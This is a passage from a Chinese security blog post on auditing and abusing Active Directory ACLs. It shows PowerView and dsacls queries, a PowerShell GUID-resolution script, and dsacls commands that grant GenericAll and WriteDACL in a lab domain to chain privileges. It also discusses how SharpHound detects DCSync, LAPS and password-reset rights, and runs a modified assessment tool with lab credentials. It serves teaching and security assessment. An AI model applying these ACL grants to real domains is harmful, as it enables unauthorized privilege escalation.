26px;">&#34;AD:CN=bob,CN=Users,DC=cia,DC=gov&#34;</span>).access<br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">可以看到Apache用户对bob有GenericAll权限</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.2816666666666667" style="display: block;margin: 0 auto;max-width: 100%;" data-w="600" src="https://wechat2rss.xlab.app/img-proxy/?k=bb8f3909&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795BGx3NqZQCushImQQmyb1oX0TmORvmy2fjY1JuG5IFmDMAyq4icsrpQ3OKMLwua2RCjzticbm1OhdA%2F640%3Fwx_fmt%3Dpng"/></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span>Powerview<span style="display: none;"></span></h3><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: rgb(30, 30, 30) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgZZbF9PmBYcBgibaP3JfbBTrLL4Vm9bdxfT9QyxG8GAicCx6ndssf3PzTuk57HKDSaibWIj4u74w1mL/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;">Get-ObjectAcl -samAccountName bob -ResolveGUIDs | ? {<span style="color: #BD63C5;line-height: 26px;">$_</span>.ActiveDirectoryRights -eq <span style="color: #D69D85;line-height: 26px;">&#34;GenericAll&#34;</span>}<br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">和Active Directory Module相比多了一些字段，但少了IdentityReference，导致看起来不直观：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.6416666666666667" style="display: block;margin: 0 auto;max-width: 100%;" data-w="600" src="https://wechat2rss.xlab.app/img-proxy/?k=52fac49a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795BGx3NqZQCushImQQmyb1oxDFicFciapAWwNFUY9FbyqENqmE9hraqolgCXlCZRexVORa3ysOETFyw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">不知道是不是版本问题，和其他人的工具会不一样。不过可以根据SecurityIdentifier指向的sid知道是谁作用于bob。</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.4338461538461538" style="display: block;margin: 0 auto;max-width: 100%;" data-w="975" src="https://wechat2rss.xlab.app/img-proxy/?k=fcd01b8b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795BGx3NqZQCushImQQmyb1o8etssPcvcYugFsHrlcMpZaQZGFsGe90a674PLgQYLE1ib53Qw4tvmQQ%2F640%3Fwx_fmt%3Dpng"/></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span>dsacls.exe<span style="display: none;"></span></h3><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: rgb(30, 30, 30) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgZZbF9PmBYcBgibaP3JfbBTrLL4Vm9bdxfT9QyxG8GAicCx6ndssf3PzTuk57HKDSaibWIj4u74w1mL/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;">dsacls <span style="color: #D69D85;line-height: 26px;">&#34;CN=bob,CN=Users,DC=cia,DC=gov&#34;</span><br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">结果比较明了，直接就是FULL CONTROL。</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.26166666666666666" style="display: block;margin: 0 auto;max-width: 100%;" data-w="600" src="https://wechat2rss.xlab.app/img-proxy/?k=0eb38a80&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795BGx3NqZQCushImQQmyb1oowHaehib1Onu6SRoCDMUwRhUBMKFoZmDqpFAqqzKHroRkZgwTAYDK5A%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">特殊ACEs</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"> </span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">但如果我们给的权限只是列表中的一小点，那么看到的结果需要解读，比如我们看到：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.27671541057367827" style="display: block;margin: 0 auto;max-width: 100%;" data-w="889" src="https://wechat2rss.xlab.app/img-proxy/?k=18b24c8e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795BGx3NqZQCushImQQmyb1oFxTEC8NXNWR4K8F7OrZibF2JnKrD4Z6HvdwVjRS7rTnicOagFUWUfHhw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">表示CIA\Exchange Trusted Subsystem对bob用户的GUID为bf967a06-0de6-11d0-a285-00aa003049e2的属性有WriteProperty权限。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">我们可以通过脚本转换GUID：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: rgb(30, 30, 30) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgZZbF9PmBYcBgibaP3JfbBTrLL4Vm9bdxfT9QyxG8GAicCx6ndssf3PzTuk57HKDSaibWIj4u74w1mL/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;"><span style="color: #BD63C5;line-height: 26px;">$ObjectTypeGUID</span> = @{}<br/> <br/><span style="color: #BD63C5;line-height: 26px;">$GetADObjectParameter</span>=@{<br/>    SearchBase=(Get-ADRootDSE).SchemaNamingContext<br/>    LDAPFilter=<span style="color: #D69D85;line-height: 26px;">&#39;(SchemaIDGUID=*)&#39;</span><br/>    Properties=@(<span style="color: #D69D85;line-height: 26px;">&#34;Name&#34;</span>, <span style="color: #D69D85;line-height: 26px;">&#34;SchemaIDGUID&#34;</span>)<br/>}<br/> <br/><span style="color: #BD63C5;line-height: 26px;">$SchGUID</span>=Get-ADObject @GetADObjectParameter<br/>    Foreach (<span style="color: #BD63C5;line-height: 26px;">$SchemaItem</span> <span style="color: #569CD6;line-height: 26px;">in</span> <span style="color: #BD63C5;line-height: 26px;">$SchGUID</span>){<br/>    <span style="color: #BD63C5;line-height: 26px;">$ObjectTypeGUID</span>.Add([GUID]<span style="color: #BD63C5;line-height: 26px;">$SchemaItem</span>.SchemaIDGUID,<span style="color: #BD63C5;line-height: 26px;">$SchemaItem</span>.Name)<br/>}<br/> <br/><span style="color: #BD63C5;line-height: 26px;">$ADObjExtPar</span>=@{<br/>    SearchBase=<span style="color: #D69D85;line-height: 26px;">&#34;CN=Extended-Rights,<span style="color: #BD63C5;line-height: 26px;">$((Get-ADRootDSE)</span>.ConfigurationNamingContext)&#34;</span><br/>    LDAPFilter=<span style="color: #D69D85;line-height: 26px;">&#39;(ObjectClass=ControlAccessRight)&#39;</span><br/>    Properties=@(<span style="color: #D69D85;line-height: 26px;">&#34;Name&#34;</span>, <span style="color: #D69D85;line-height: 26px;">&#34;RightsGUID&#34;</span>)<br/>}<br/> <br/><span style="color: #BD63C5;line-height: 26px;">$SchExtGUID</span>=Get-ADObject @ADObjExtPar<br/>    ForEach(<span style="color: #BD63C5;line-height: 26px;">$SchExtItem</span> <span style="color: #569CD6;line-height: 26px;">in</span> <span style="color: #BD63C5;line-height: 26px;">$SchExtGUID</span>){<br/>    <span style="color: #BD63C5;line-height: 26px;">$ObjectTypeGUID</span>.Add([GUID]<span style="color: #BD63C5;line-height: 26px;">$SchExtItem</span>.RightsGUID,<span style="color: #BD63C5;line-height: 26px;">$SchExtItem</span>.Name)<br/>}<br/> <br/><span style="color: #BD63C5;line-height: 26px;">$ObjectTypeGUID</span> | Format-Table -AutoSize<br/> <br/><span style="color: #BD63C5;line-height: 26px;">$ObjectTypeGUID</span>[[GUID]<span style="color: #D69D85;line-height: 26px;">&#39;bf967961-0de6-11d0-a285-00aa003049e2&#39;</span>]<br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">结果：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.06333333333333334" style="display: block;margin: 0 auto;max-width: 100%;" data-w="600" src="https://wechat2rss.xlab.app/img-proxy/?k=4ee6a48d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795BGx3NqZQCushImQQmyb1od4CWud8VVToYrT8cbDictCm1B3yFA2srk39vtq9icm77lYjyhOTO6MbQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">即：CIA\Exchange Trusted Subsystem对bob用户的E-mail-Addresses属性有WriteProperty权限。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">powerview也可以针对具体某一条查询：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.5064814814814815" style="display: block;margin: 0 auto;max-width: 100%;" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=afce1668&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795BGx3NqZQCushImQQmyb1osQrzOGsgZQcBibbZskDpfMDscuPAgp56YpZG2dBicfVWdqxicxCJ3ej8w%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">dsacls.exe结果比较简单，只能查询基础ACL，如GenericAll、WriteDAcl等，但胜在能远程查询，其他工具需要在域的上下文中使用：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: rgb(30, 30, 30) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgZZbF9PmBYcBgibaP3JfbBTrLL4Vm9bdxfT9QyxG8GAicCx6ndssf3PzTuk57HKDSaibWIj4u74w1mL/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;">dsacls.exe <span style="color: #D69D85;line-height: 26px;">&#34;\\10.0.0.50\CN=bob,CN=Users,DC=cia,DC=gov&#34;</span><br/></code></pre><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">如何赋权</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"> </span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">可以使用dsacls进行普通赋权，如WriteACL、GenericAll等。特殊权限可以使用图形化的ADSI远程登录进行修改。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: rgb(30, 30, 30) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgZZbF9PmBYcBgibaP3JfbBTrLL4Vm9bdxfT9QyxG8GAicCx6ndssf3PzTuk57HKDSaibWIj4u74w1mL/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;">dsacls <span style="color: #D69D85;line-height: 26px;">&#34;\\10.0.1.100\CN=Brandi.Khan,CN=Users,DC=pwn,DC=local&#34;</span> /I:T /G <span style="color: #D69D85;line-height: 26px;">&#34;pwn\Amy.Gibson:WD&#34;</span><br/>dsacls <span style="color: #D69D85;line-height: 26px;">&#34;\\10.0.1.100\CN=Carol.Dean,CN=Users,DC=pwn,DC=local&#34;</span> /I:T /G <span style="color: #D69D85;line-height: 26px;">&#34;pwn\Brandi.Khan:GA&#34;</span><br/>dsacls <span style="color: #D69D85;line-height: 26px;">&#34;\\10.0.1.100\CN=IT administrators,CN=Users,DC=pwn,DC=local&#34;</span> /I:T /G <span style="color: #D69D85;line-height: 26px;">&#34;pwn\Jane.Ward:GA&#34;</span><br/></code></pre><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">编程实现</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"> </span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">很多国外文章都使用BloodHound检测acl，我们看看如何实现：<a href="https://github.com/BloodHoundAD/SharpHound3/blob/master/SharpHound3/Tasks/ACLTasks.cs" target="_blank">https://github.com/BloodHoundAD/SharpHound3/blob/master/SharpHound3/Tasks/ACLTasks.cs</a></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">首先从ldap信息里得到ntsecuritydescriptor：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.21" style="display: block;margin: 0 auto;max-width: 100%;" data-w="600" src="https://wechat2rss.xlab.app/img-proxy/?k=a070fa2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795BGx3NqZQCushImQQmyb1oaficN3bk5XRQy7azsrfMUUkTQriaxLibdY3ZcRVnDbLBvfNlLqhjPEJuA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">笔者以往导出ldap信息笔者用的最多的是dsquery，并不会导出acl相关的信息。印象中adfind可以导出sddlstring：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: rgb(30, 30, 30) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgZZbF9PmBYcBgibaP3JfbBTrLL4Vm9bdxfT9QyxG8GAicCx6ndssf3PzTuk57HKDSaibWIj4u74w1mL/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;">AdFind -b <span style="color: #D69D85;line-height: 26px;">&#34;OU=Employee,DC=Contoso,DC=Com&#34;</span> -s base nTSecurityDescriptor -sddl++ -resolvesids<br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">在<a href="https://social.technet.microsoft.com/wiki/contents/articles/6477.active-directory-how-to-view-or-delete-delegated-permissions.aspx?Sort=MostRecent&amp;PageIndex=1这篇文章中发现了很多可以操作ACL的工具。" target="_blank">https://social.technet.microsoft.com/wiki/contents/articles/6477.active-directory-how-to-view-or-delete-delegated-permissions.aspx?Sort=MostRecent&amp;PageIndex=1这篇文章中发现了很多可以操作ACL的工具。</a></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">后续很简单，将数据初始化成ActiveDirectorySecurity实例，取需要的字段与对应值即可：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.7262905162064826" style="display: block;margin: 0 auto;max-width: 100%;" data-w="833" src="https://wechat2rss.xlab.app/img-proxy/?k=f539956e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795BGx3NqZQCushImQQmyb1oopKibM8unLaX9SZsYLpAQe2b2sp2MtaBugXofyxrbRoWOCrFmLjFhWg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">经过过滤找出允许GenericAll、Write Dacl、Write Owner的aces，之后对特殊的aces进行过滤，主要包括：</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">1.对DCSYNC权限相关的权限进行检测：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.7483333333333333" style="display: block;margin: 0 auto;max-width: 100%;" data-w="600" src="https://wechat2rss.xlab.app/img-proxy/?k=9250d9a3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795BGx3NqZQCushImQQmyb1oqb7ycupGibCav6c0jiaICNt0EdCalKTC060Libicwk9Cyibhpr4Og1iacxIw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">目前dcsync的分析比较透彻了，以下是进行dcsync需要的权限：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.685" style="display: block;margin: 0 auto;max-width: 100%;" data-w="600" src="https://wechat2rss.xlab.app/img-proxy/?k=9529dc60&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795BGx3NqZQCushImQQmyb1oM2Rib1qlbPXuMjh0YJROTh6ZD5TGvkEaVlCnY1pJb2CgeMCN5DVhZuA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">2.对ForceChangePassword的检测</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="1.0333333333333334" style="display: block;margin: 0 auto;max-width: 100%;" data-w="600" src="https://wechat2rss.xlab.app/img-proxy/?k=d23a9248&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795BGx3NqZQCushImQQmyb1oBNPDfd9EEGSJPxbXUqmKtEWJ3BynNLJqQgmL3J4HE5uX8a7kic3ER4Q%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">3.对ldps进行检查，通过laps可以获取机器本地管理员密码</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.7233333333333334" style="display: block;margin: 0 auto;max-width: 100%;" data-w="600" src="https://wechat2rss.xlab.app/img-proxy/?k=5324ba3d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795BGx3NqZQCushImQQmyb1o9Qz3RNWdmA25Nia1xlz1twsJ0mHj0KazdUrcy5VfYE32vXKPMic8G7nw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">4.对操作spn及增加用户检查</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.825" style="display: block;margin: 0 auto;max-width: 100%;" data-w="600" src="https://wechat2rss.xlab.app/img-proxy/?k=cedda3f0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795BGx3NqZQCushImQQmyb1ol1MwzoRhvkBYbzs6GBYgBHsHH8S4dx6pVHK5dEOFuI0yyJaTGdoQ6A%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">这里有几个objectAceType为allguid，是00000000-0000-0000-0000-000000000000即作用于所有权限。</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.3301088270858525" style="display: block;margin: 0 auto;max-width: 100%;" data-w="827" src="https://wechat2rss.xlab.app/img-proxy/?k=a2a88354&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795BGx3NqZQCushImQQmyb1owKiaYlesGv3ZP7PxkHanUjDRhEVkd4Uu3q8f8aq0zsgiaW7SEThPSyCA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">解释了上文提到的特殊aces和常规aces作用对象的区别。</p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">二次开发</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"> </span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">sharpHound要在域内机器运行，局限性比较大，简单做个二开，增加了远程认证：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.45610687022900764" style="display: block;margin: 0 auto;max-width: 100%;" data-w="1048" src="https://wechat2rss.xlab.app/img-proxy/?k=977737d4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795BGx3NqZQCushImQQmyb1oafrSRg566Wgy2srPANNYZCp58rGPeXD4QLjhibRuAyT58HO65jibaGuQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">工具最后输出对整个域进行安全评估，以下是使用流程：</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">首先增加到dc的dns解析<img class="rich_pages wxw-img" data-ratio="0.502092050209205" style="display: block;margin: 0 auto;max-width: 100%;" data-w="717" src="https://wechat2rss.xlab.app/img-proxy/?k=21141d7b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795BGx3NqZQCushImQQmyb1oAy550ucPqH9KvgY5s9Rw0SpYw2NN56vXu5xTfA3s7HSS9sKK1l9CdA%2F640%3Fwx_fmt%3Dpng"/>执行：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: rgb(30, 30, 30) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgZZbF9PmBYcBgibaP3JfbBTrLL4Vm9bdxfT9QyxG8GAicCx6ndssf3PzTuk57HKDSaibWIj4u74w1mL/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;">7bitsPwnACLs.exe <span style="color: #D69D85;line-height: 26px;">&#34;pwn.local\Amy.Gibson&#34;</span> <span style="color: #D69D85;line-height: 26px;">&#34;7Bits@Templete&#34;</span>  &gt; all.txt<br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">获得yin的结果：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.5735439289239882" style="display: block;margin: 0 auto;max-width: 100%;" data-w="1013" 